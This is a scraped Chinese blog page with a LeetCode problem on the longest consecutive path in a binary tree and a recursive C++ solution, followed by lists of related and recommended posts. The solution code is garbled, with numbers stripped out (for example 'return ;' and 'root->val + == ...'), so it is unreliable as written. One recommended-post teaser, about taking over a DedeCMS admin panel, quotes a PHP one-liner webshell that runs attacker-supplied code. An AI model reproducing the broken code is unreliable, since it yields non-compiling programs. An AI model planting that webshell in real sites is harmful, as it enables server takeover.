Given a binary tree, find the length of the longest consecutive sequence path.

The path refers to any sequence of nodes from some starting node to any node in the tree along the parent-child connections. The longest consecutive path need to be from parent to child (cannot be the reverse).

For example,

    \

    / \

        \
         

Longest consecutive sequence path is 3-4-5, so return 3.

    \

    / 

  /
 

Longest consecutive sequence path is 2-3,not3-2-1, so return 2.

思路:递归。时间复杂度O(N)。

 /**
* Definition for a binary tree node.
* struct TreeNode {
* int val;
* TreeNode *left;
* TreeNode *right;
* TreeNode(int x) : val(x), left(NULL), right(NULL) {}
* };
*/
class Solution {
public:
int help(TreeNode *root, int &count) {
if (root == NULL) return ;
int leftCount = help(root->left, count);
int rightCount = help(root->right, count);
int res = ;
if (root->left && root->val + == root->left->val)
res = + leftCount;
if (root->right && root->val + == root->right->val)
res = std::max(res, + rightCount);
count = std::max(count, res);
return res;
}
int longestConsecutive(TreeNode* root) {
int count = ;
help(root, count);
return count;
}
};

Binary Tree Longest Consecutive Sequence -- LeetCode的更多相关文章

  1. LeetCode Binary Tree Longest Consecutive Sequence

    原题链接在这里:https://leetcode.com/problems/binary-tree-longest-consecutive-sequence/ 题目: Given a binary t ...

  2. [LeetCode] Binary Tree Longest Consecutive Sequence II 二叉树最长连续序列之二

    Given a binary tree, you need to find the length of Longest Consecutive Path in Binary Tree. Especia ...

  3. LeetCode 549. Binary Tree Longest Consecutive Sequence II

    原题链接在这里:https://leetcode.com/problems/binary-tree-longest-consecutive-sequence-ii/description/ 题目: G ...

  4. LeetCode 298. Binary Tree Longest Consecutive Sequence

    原题链接在这里:https://leetcode.com/problems/binary-tree-longest-consecutive-sequence/ 题目: Given a binary t ...

  5. [LeetCode] 298. Binary Tree Longest Consecutive Sequence 二叉树最长连续序列

    Given a binary tree, find the length of the longest consecutive sequence path. The path refers to an ...

  6. [LeetCode] 549. Binary Tree Longest Consecutive Sequence II 二叉树最长连续序列之 II

    Given a binary tree, you need to find the length of Longest Consecutive Path in Binary Tree. Especia ...

  7. [LintCode] 619 Binary Tree Longest Consecutive Sequence III 二叉树最长连续序列 III

    Given a k-ary tree, find the length of the longest consecutive sequence path. The path could be star ...

  8. [Locked] Binary Tree Longest Consecutive Sequence

    Binary Tree Longest Consecutive Sequence Given a binary tree, find the length of the longest consecu ...

  9. [LeetCode] Binary Tree Longest Consecutive Sequence 二叉树最长连续序列

    Given a binary tree, find the length of the longest consecutive sequence path. The path refers to an ...

随机推荐

  1. 01-QQ 3-最终重构版 Demo示例程序源代码

      源代码下载链接:01-QQ 3.zip292.5 KB // QQAppDelegate.h Map // //  QQAppDelegate.h //  01-QQ // //  Created ...

  2. Vuejs - 花式渲染目标元素

    Vue.js是什么 摘自官方文档: Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式框架.与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用.Vue 的核心库 ...

  3. .Net MVC4 上传大文件,并保存表单

    1. 前台 cshtml </pre><pre name="code" class="csharp">@model BLL.BLL.Pr ...

  4. jsp之jstl核心标签库

    JSTL核心标签库技术 1. JSTL介绍 在JSP页面中即可书写html,也可以书写Java代码,导致页面混乱,维护,修改,升级难度加大,于是国际上不同的公司在实际应用中,根据页面的需求将Java代 ...

  5. CursorFileManager对cursor文件的读写

    public class CursorFileManager implements CursorManager{public void write(String key, LongCursor cur ...

  6. 另类dedecms后台拿shell

    遇到一个被阉割的后台,发现直接传shell显然不行. 然后就有了下文 添加一个新广告. 插入一句话木马: --><?php $_GET[c]($_POST[x]);?><!-- ...

  7. java===java基础学习(14)---封装

    package dog; public class Demo4 { public static void main(String []args) { Worker w1= new Worker(&qu ...

  8. hadoop InputFormat 类别

    FileInputFormat是所有使用文件作为数据源的InputFormat的积累.它提供两个功能:一个是定义哪些文件包含在一个作业的输入中:一个为输入文件生成分片的实现.自动将作业分块 作业分块大 ...

  9. django开发项目实例2--如何链接图片和css文件(静态文件)

    在上一篇随笔里面,我们已经介绍了如何从零开始用django建立一个项目并且初步运行以来了, 现在我们就要开始写我们的html了,也就是django里面的模板了,不过这节我们只讲如何链接图片和css(静 ...

  10. linux命令(39):ss命令

    ss是Socket Statistics的缩写.顾名思义,ss命令可以用来获取socket统计信息,它可以显示和netstat类似的内容.但ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信 ...